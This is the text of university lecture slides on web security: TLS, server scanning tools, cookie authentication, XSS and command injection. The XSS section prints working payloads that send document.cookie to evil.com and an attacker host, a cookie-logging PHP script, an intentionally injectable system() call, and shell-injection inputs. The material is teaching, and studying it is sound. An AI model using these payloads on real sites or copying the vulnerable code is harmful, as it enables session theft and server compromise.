Web Security

Sreekanth Malladi
Modifying slides originally prepared by
Vitaly Shmatikov, UT Austin

11/18/2008 INFS 754: Fall 2006 slide 1

World Wide Web - Review

How was it established?

Can anyone start a web site?
• process to own a web site?
What are strings http and www?
http and https – the difference?
Popular web servers?
Web applications – client and server side
scripting. Difference?

11/18/2008 slide 2
http and https
SSL/TLS is used for https
• Usually using function call SecureServerSocket (instead of simple
ServerSocket)
Transport Layer Security protocol, version 1.0
• De facto standard for Internet security
• “The primary goal of the TLS protocol is to provide privacy and
data integrity between two communicating applications”
• In practice, used to protect information transmitted between
browsers and Web servers
Based on Secure Sockets Layers protocol, version 3.0
• Same protocol design, different algorithms
Deployed in nearly every Web browser

11/18/2008 slide 3
SSL / TLS in the Real World

11/18/2008 slide 4
 TLS is an Application-Layer Protocol

email, Web, NFS

application

presentation Protects againt application-level threats

RPC (server impersonation, eavesdropping),
session NOT against TCP/IP threats (spoofing,
SYN flood, DDoS)
TCP
transport
IP
network
802.11
data link

physical

11/18/2008 slide 5
History of the Protocol
SSL 1.0
• Internal Netscape design, early 1994?
• Lost in the mists of time
SSL 2.0
• Published by Netscape, November 1994
• Several weaknesses
SSL 3.0
• Designed by Netscape and Paul Kocher, November 1996
TLS 1.0
• Internet standard based on SSL 3.0, January 1999
• Not interoperable with SSL 3.0
11/18/2008 – TLS uses HMAC instead of MAC; can run on any port slide 6
Evolution of the SSL/TLS RFC

80
70
60
50
40
Page count
30
20
10
0
SSL 2.0 SSL 3.0 TLS 1.0

11/18/2008 slide 7
TLS Basics
TLS consists of two protocols
• Familiar pattern for key exchange protocols
Handshake protocol
• Use public-key cryptography to establish a shared
secret key between the client and the server
Record protocol
• Use the secret key established in the handshake
protocol to protect communication between the client
and the server
We will focus on the handshake protocol
11/18/2008 slide 8
TLS Handshake Protocol
Two parties: client and server
Negotiate version of the protocol and the set of
cryptographic algorithms to be used
• Interoperability between different implementations of
the protocol
Authenticate client and server (optional)
• Use digital certificates to learn each other’s public keys
and verify each other’s identity
Use public keys to establish a shared secret

11/18/2008 slide 9
Handshake Protocol Structure

ClientHello

ServerHello,
[Certificate],
[ServerKeyExchange],
[CertificateRequest],
ServerHelloDone

C [Certificate],
ClientKeyExchange,
S
[CertificateVerify]

switch to negotiated cipher

Finished

switch to negotiated cipher

Record of all sent and Finished
received handshake messages
11/18/2008 slide 10
ClientHello

ClientHello

Client announces (in plaintext):

• Protocol version he is running
• Cryptographic algorithms he supports

C S

11/18/2008 slide 11
ClientHello (RFC)
struct { Highest version of the protocol
supported by the client

ProtocolVersion client_version;
Random random; Session id (if the client wants to
resume an old session)
SessionID session_id; Set of cryptographic algorithms

CipherSuite cipher_suites; supported by the client (e.g.,

RSA or Diffie-Hellman)

CompressionMethod compression_methods;
} ClientHello

11/18/2008 slide 12
ServerHello

C, Versionc, suitec, Nc

ServerHello

Server responds (in plaintext) with:

C
• Highest protocol version supported by
both client and server S
• Strongest cryptographic suite selected
from those offered by the client

11/18/2008 slide 13
ServerKeyExchange

C, Versionc, suitec, Nc

Versions, suites, Ns,

ServerKeyExchange

C Server sends his public-key certificate

containing either his RSA, or
S
his Diffie-Hellman public key
(depending on chosen crypto suite)

11/18/2008 slide 14
ClientKeyExchange

C, Versionc, suitec, Nc

Versions, suites, Ns,

sigca(S,Ks),
“ServerHelloDone”

C ClientKeyExchange
S
Client generates some secret key material
and sends it to the server encrypted with
the server’s public key (if using RSA)

11/18/2008 slide 15
ClientKeyExchange (RFC)
struct {
select (KeyExchangeAlgorithm) {
case rsa: EncryptedPreMasterSecret;
case diffie_hellman: ClientDiffieHellmanPublic;
} exchange_keys
} ClientKeyExchange

struct {
ProtocolVersion client_version;
opaque random[46]; Random bits from which
symmetric keys will be derived
} PreMasterSecret
11/18/2008
(by hashing them with nonces)
slide 16
“Core” SSL 3.0 Handshake

C, Versionc=3.0, suitec, Nc

Versions=3.0, suites, Ns,

sigca(S,Ks),
“ServerHelloDone”

C {Secretc}Ks
S
If the protocol is correct, C and S share
some secret key material (secretc) at this point

switch to key derived switch to key derived

from secretc from secretc

11/18/2008 slide 17
Version Rollback Attack

C, Versionc=2.0, suitec, Nc

Server is fooled into thinking he Versions=2.0, suites, Ns,

is communicating with a client
sigca(S,Ks),
who supports only SSL 2.0
“ServerHelloDone”

C {Secretc}Ks
S

C and S end up communicating using SSL 2.0

(weaker earlier version of the protocol that
does not include “Finished” messages)

11/18/2008 slide 18
Version Check in SSL 3.0

C, Versionc=3.0, suitec, Nc

Versions=3.0, suites, Ns,

sigca(S,Ks),
“Embed” version “ServerHelloDone”
number into secret

C {Versionc,Secretc}Ks
Check that received version is equal to
the version in ClientHello S
If the protocol is correct, C and S share
some secret key material secretc at this point

switch to key derived switch to key derived

from secretc from secretc

11/18/2008 slide 19
SSL/TLS Record Protection

Use symmetric keys

established in handshake protocol

11/18/2008 slide 20
Web Servers
Quiz:
• What is a web server?
• What are the different types available?
• How is it configured?
• What ports do they normally use?
• What security features and protocols do web servers use?
• What kinds of attacks are possible?

Not sure about the answers?

• Well, attend the class ☺

11/18/2008 slide 21
Web Server Security
Two issues for web security
• Web server testing
• Web application Testing
Web server should be configured for
• Secure network configuration
– E.g. Firewall limiting incoming traffic to ports 80 and 443.
• Secure host configuration
– OS has up-to-date security patches
• Secure web server configuration
– Default settings reviewed, sample files removed and server
runs in a restricted account

11/18/2008 slide 22
Vulnerability Scanners
Web vulnerability scanners have two components
• Scanning engine
• Catalog
• Scanning engine runs vulnerability tests in Catalog on web
server
– E.g. presence of backup files, trying directory traversal exploits
(checking for ..%255c..%255c).

Nikto
• Descendant of Whisker by RFP
• Adds a Perl-based scanning library
• Not a solo tool
• Offers support for SSL, proxies, port scanning
• Runs on Unix, Windows and Mac OS X.
• Use will be demonstrated in class

11/18/2008 slide 23
Nikto options
-host: Specify a single host
-port: Specify an arbitrary port.
-ssl: Enable SSL support.
-Format: Format output in HTML, CSV or test
-output: Lg output to afile
• E.g. output nikto80_website.html –F htm
-id: Provide HTTP Basic authentication credentials.
• E.g. –id username::password
-update: causes program to contact http://www.cirt.net
and update Nikto
And many more!!

11/18/2008 slide 24
Continued…
Excessive 500 response cookies (server error)
• Means server application has errors OR
• Attacker is submitting invalid parameters
Sensitive filenames
• Search for requests that contain passwd, cmd.exe etc
Examine parameters
• Make sure requests within a 200 response are logged as well
Examine directory traversal attacks
Long Strings as parameters
• Letter ‘A’ repeated 200 times indicates attempts to break
applications
Boils down to using common sense basically
11/18/2008 slide 25
Sleuth
Browser inside tool. Wow!

Only Windows version

Among several options,

• Option to chain through another web proxy
• Achilles lacks this

Toolbox menu has great functionality

• Removes scripts that disable input validation routines
• Shows hidden fields
– Revealing session, server and client variables
• Generate report function
– Lists cookies, links, query strings, Form information, script
references, META tags

11/18/2008 slide 26
WebSleuth
Browser inside the tool!

11/18/2008 slide 27
Paros
New Heavy weight in the local proxy arena

A Java based tool

• Freely available online (www.paroxproxy.org)

Not just a proxy

• Lot of additional features, usability, testing techniques, enhancements

Set browser proxy to HTTP proxy to 8080 and HTTPS proxy for port
8443

Instruct it to scan (not automatic)

Ability to rewrite and insert arbitrary characters into HTTP GET and
POST requests is awesome

11/18/2008 slide 28
11/18/2008 slide 29
Web Authentication

Cookies

11/18/2008 slide 30
Cookie-based Web Authentication
Need an authentication system over HTTP that does not require
servers to store the session data
• Well, why not?
• Because, servers can be subject to overwhelming of data
(DOS attacks)
– Remember the SYN flooding attack?
• Storing unknown data is a potential risk
• Servers such as hotmail can have huge number of
connections
• Becomes unmanageable to store session data for all the
connections at all times
• Where are cookies stored on the computer and browser?
• How to view them? Restrain? Delete?

11/18/2008 slide 31
Cookies on clients instead
Servers use cookies to store state on client
• When session starts, browser computes an
authenticator, calls it a “cookie” and sends it to the
client-browser
• The authenticator (or cookie) is some value that
client can not forge on her own
• E.g. Hash( Server’s private key, session-id )
With each request, browser presents the cookie to the
server
• Server recomputes the value and compares it to the
cookie received

11/18/2008 slide 32
Example session using cookies

client server

POST /login.cgi
Verify that this
client is authorized
Set-Cookie:authenticator

GET /restricted.html
Cookie:authenticator Check validity of
authenticator
(e.g., recompute
Restricted content hash(key,sessId))

Authenticator is both unforgeable and tamper-proof

11/18/2008 slide 33
Cookie stealing using cross scripting
(XSS attacks)

evil.com victim’s browser naive.com

Access some web page

<FRAME SRC=
http://naive.com/hello.cgi? GET/ hello.cgi?name=
name=<script>win.open( <script>win.open(“http://
“http://evil.com/steal.cgi? evil.com/steal.cgi?cookie”+ hello.cgi
cookie=”+document.cookie) document.cookie)</script> executed
</script>>
<HTML>Hello, dear
Forces victim’s browser to <script>win.open(“http://
call hello.cgi on naive.com evil.com/steal.cgi?cookie=”
with script instead of name +document.cookie)</script>
Welcome!</HTML>
GET/ steal.cgi?cookie=
Interpreted as Javascript
by victim’s browser;
opens wndow and calls
steal.cgi on evil.com
11/18/2008 slide 34
Example: XSS attack
Let’s use four files
1. setgetcookie.htm
2. malURL.htm – malicious URLs
3. redirectpage.htm
4. stealcookie.php

11/18/2008 slide 35
The attack process
1. User first opens setgetcookie.htm on
vulnerable site
2. Sets cookie
3. Attacker sends malURL.htm to user with
malicious URLs in it
1. Clicking on them redirects user to redirectpage.htm
2. redirectpage.htm has script embedded in a html tag
3. Script inputs the document’s cookie to
stealcookie.php on attacker’s site
4. Stealcookie.php logs the cookie on attacker’s site

11/18/2008 slide 36
Step 1
Attacker visits setgetcookie.htm
Sets cookie
View cookie
See next two slides

11/18/2008 slide 37
11/18/2008 slide 38
11/18/2008 slide 39
Step 2
Visits malURL.htm
malURL.htm has two links
• Both are malicious
• Say something, and take somewhere else

See next slide…

11/18/2008 slide 40
11/18/2008 slide 41
Step 3
Clicking on link 2 in malURL.htm
Takes user to redirectpage.htm
• Because link 2 has script embedded to redirect
• To stealcookie.php on attacker’s site
• Also sets input as a cookie to stealcookie.php

Notice the next slide

• It was captured as page was redirecting to
stealcookie.php

11/18/2008 slide 42
11/18/2008 slide 43
11/18/2008 slide 44
Step 4
Final step
stealcookie.php logs user cookie
Cookie was a HTTP parameter sent to
stealcookie.php using GET method

User views the cookie on his site…

11/18/2008 slide 45
11/18/2008 slide 46
An important note
Our example is sort of trivial
All the files setgetcookie.htm, malURL.htm, redirect.htm,
stealcookie.php exist on the same site
We were playing vulnerable site, attacker site on the
same remote machine
If we replaced input cookie in redirectpage.htm to some
other site, attack won’t work
• It will for older browsers; but newer browsers are aware of XSS
• Send cookie only if request is from same site

11/18/2008 slide 47
Useful and real XSS attacks
A more useful and real XSS attack would be to
send in malURL.htm the following:
http://thoth.dsunix.net/~dsuprotanals/teaching/
F06/754/test/XSS/process.php?username=echo
%20"<script>document.location.replace(‘http://
attackersite.com/stealcookie.php?username=’+d
ocument.cookie)</script>"&submitBtn=Submit
+Username

11/18/2008 slide 48
Continued…
How is that different?
The new link forces user’s browser to first visit
vulnerable site (thoth.dsunix.net)
Then uses process.php functionality
• which is to print out whatever is passed in
“username” GET variable
• Pass script to change document’s location to
stealcookie.php on attacker’s site and also passing
cookie for vulnerable site

11/18/2008 slide 49
Doesn’t work any more
But this doesn’t work on modern browsers
Modern browsers do not relocate to new sites
• Filter out script from links
• Probably browser developers got smarter after XSS
atacks
If browsers didn’t prevent it, how would we prevent XSS
attacks?
• Proper input validation before processing
• Perennial problem in software security
• So-called “Buffer overflows” – attacks of the century –
suffer from the same input range checking problem

11/18/2008 slide 50
Source code follows
We give the source code in subsequent slides
for
• setgetcookie.htm
• process.php
• malURL.htm
• redirectpage.htm
• stealcookie.php

11/18/2008 slide 51
setgetcookie.htm
<html>

<head>
<h2>This is an innocent web page that lets a user set a cookie for the session and also to view
the cookie
</h2>
<hr/>
</head>

<script type="text/javascript" language="JavaScript">

<!--
function setCookie()
{
document.cookie = document.cookieform.username.value;
}

function showCookie()
{
alert("Cookie -- " + document.cookie);
}
function submitName()
{

11/18/2008 slide 52
 document.write("Your name is " +
document.cookieform.username.value);
}
//-->
</script>

<body>

<form action="process.php" name="cookieform" method="GET">

<script type="text/javascript" language="JavaScript">

<!--
document.write('Welcome back ' + document.cookie);
//-->
</script>

<p>
<input type="text" name="username" value="Enter your name";>
</p>

11/18/2008 slide 53
 <p>
<input type="button" value="Set cookie"
onClick="setCookie();">
</p>

<p>
<input type="button" value="Show cookie"
onClick="showCookie();">
</p>

<p>
<input type="submit" name="submitBtn" value="Submit
Username">
</p>
</form>
</body>
</html>
11/18/2008 slide 54
process.php
<?php

$uname = $_GET['username'];
$greeting = "Hello ".$uname;
system("echo $greeting");

?>

11/18/2008 slide 55
malURL.htm
<html>
<head>
<h2>This page has malicious links</h2>
</head>
<body>
<ol>
<li>
First look at this one. This link's text and the actual link behind it are different.
You can notice that by hovering the mouse on the link and noting the
actual referral location on the status bar.
<br />
<a
href="http://vulnerablesite/setgetcookie.htm?username=<script>documen
t.location.replace('http://thoth.dsunix.net/~dsuprotanals/teaching/F06/754
/test/XSS/stealcookie.php?c='+document.cookie)</script>">Video footage
of Steve Irwine's death available on CNN</a>
</li>

11/18/2008 slide 56
malURL.htm

<li>
Now look at this one. Hovering and noting status window won't work on this
one because form events write fake link to status window as well!! Hackers
grow smarter with security education! <br />

<a
href="./redirectpage.htm"onMouseOver="window.status='http://www.cnn.
com/2006/breakingnews/06/10/steveirwine.wmv';return true"
onMouseOut="window.status='';return true">Video footage of Steve
Irwine's death available on CNN</a>

</li>
</ol>
</body>
</html>

11/18/2008 slide 57
redirectpage.htm
"http://thoth.dsunix.net/~dsuprotanals/teaching/F
06/754/test/XSS/setgetcookie.htm?username=<
script>document.location.replace('http://thoth.d
sunix.net/~dsuprotanals/teaching/F06/754/test/
XSS/stealcookie.php?username='+document.co
okie)</script>"onMouseOver="window.status='
http://www.cnn.com/2006/breakingnews/06/10/
steveirwine.wmv';return true"
onMouseOut="window.status='';return true"

11/18/2008 slide 58
stealcookie.php
<html>

<head>
<h3>This page is a php script that steals a cookie</h3>
</head>
<body>
<?php
$f = fopen("log.txt","a");
$cookie = "\n".$_GET['username']."\n";
fwrite($f, $cookie);
fclose($f);
?>
</body>

</html>

11/18/2008 slide 59
Other scripting attacks
Does this conclude scripting attacks?
• No. Take a close look at process.php
It prints whatever user enters in the username
field
Attacker can predict might be using system()
and echo command
• Tries username followed by semi-colon and a system
command
• E.g. russell; netstat
• If that works, attacker gets full shell access!!

11/18/2008 slide 60
11/18/2008 slide 61
11/18/2008 slide 62
Scripting attacks continued…
Did that work?
Let’s try similar example
• http://thoth.dsunix.net/~dsuprotanals/teaching/F06/
754/test/script-attacks/sample.htm
• Next slide

11/18/2008 slide 63
11/18/2008 slide 64
 Notice how entering roses.htm; ls in the text
box prints the directory listing of the current
directory

11/18/2008 slide 65
11/18/2008 slide 66
 Attacker uses this facility to find bankInfo.htm in
confidential folder

11/18/2008 slide 67
11/18/2008 slide 68
11/18/2008 slide 69
11/18/2008 slide 70
11/18/2008 slide 71
Single Sign-On Systems
Idea: Authenticate once, use everywhere

Similar to Kerberos

Trusted third party issues identity credentials

User uses them to access services all over the World

Wide Web.

11/18/2008 slide 72
 Stores personal information
(e.g. credit card numbers)

Sign on once
.NET Passport
Receive Web identity

Access any
network service Web retailers
User
Email
Messenger

11/18/2008 slide 73
 Identity management with .NET passport

Redirect browser Log in

to Passport server

Email and password?

[email protected], “kiwifruit” Redirect browser
3 encrypted cookies back to website
.NET Website
Passport User
Decrypt &
Check user
against database Requested page verify cookies

Passport Passport
user database manager

11/18/2008 slide 74
.NET Passport: Some early flaws
Reset password procedure flawed
• Didn’t require old password to reset
• Send a forged URL requesting reset
• Passport sends you URL to change password
– http://register.passport.net/emailpwdreset.srf?lc=1033&[email protected]&id=
&cb=&[email protected]

Cross-scripting attack
• Cookies stored in Microsoft wallet stay there for 15 minutes

• Victim signs in to Passport first, logs into Hotmail, and reads attacker’s email

• Hotmail’s web interface processes it, calls script on attacker’s site and hands
over cookie

11/18/2008 slide 75
.NET Passport’s history

First launched in 1999

• By 2002, MS claimed over 200 million accounts, and 3.5 billion
authentications each month

Current status (as of March 2005)

• Monster.com dropped support in Ocboter ’04
• Followed by Ebay (Jan ’05)
• Few apart from Microsoft’s own departments (e.g. MSN) seem
to support

11/18/2008 slide 76
Liberty Alliance
Seems there are open-standard alternatives to
Passport

Go to http://www.projectliberty.org

Verisign, AOL, intel, NOKIA and other big

companies are a part

11/18/2008 slide 77
Conclusion
We’ve covered every aspect of web security
• Tested several tools

Be *very* careful before trying these out anywhere else

• Don’t want the FBI or CIA to knock on your door for a
vulnerability scan on their partner web server
• Looking at prison time

Final note: any one trying illegal/improper hacking will

be doing at their own risk
11/18/2008 slide 78
References
Figures and concepts on SSl/TLS by
• W. Stallings and V. Shmatikov
• Reproduced by permission

Web Security Tools

• Anti-Hacker Tool Kit, McGrawHill, 2005

Thanks to DSUnix Sys admins and Dean Dr.

Halverson for granting permission for to use
their Linux boxes for demonstrating Web Tools.

11/18/2008 slide 79
References
Cookies and XSS attacks
• Cross Site Scripting Explained, amit Klein, Sanctum
Security Group, 2002
• The anatomy of Cross Site scripting, Gavin Zuchlinski,
November 5, 2003

11/18/2008 slide 80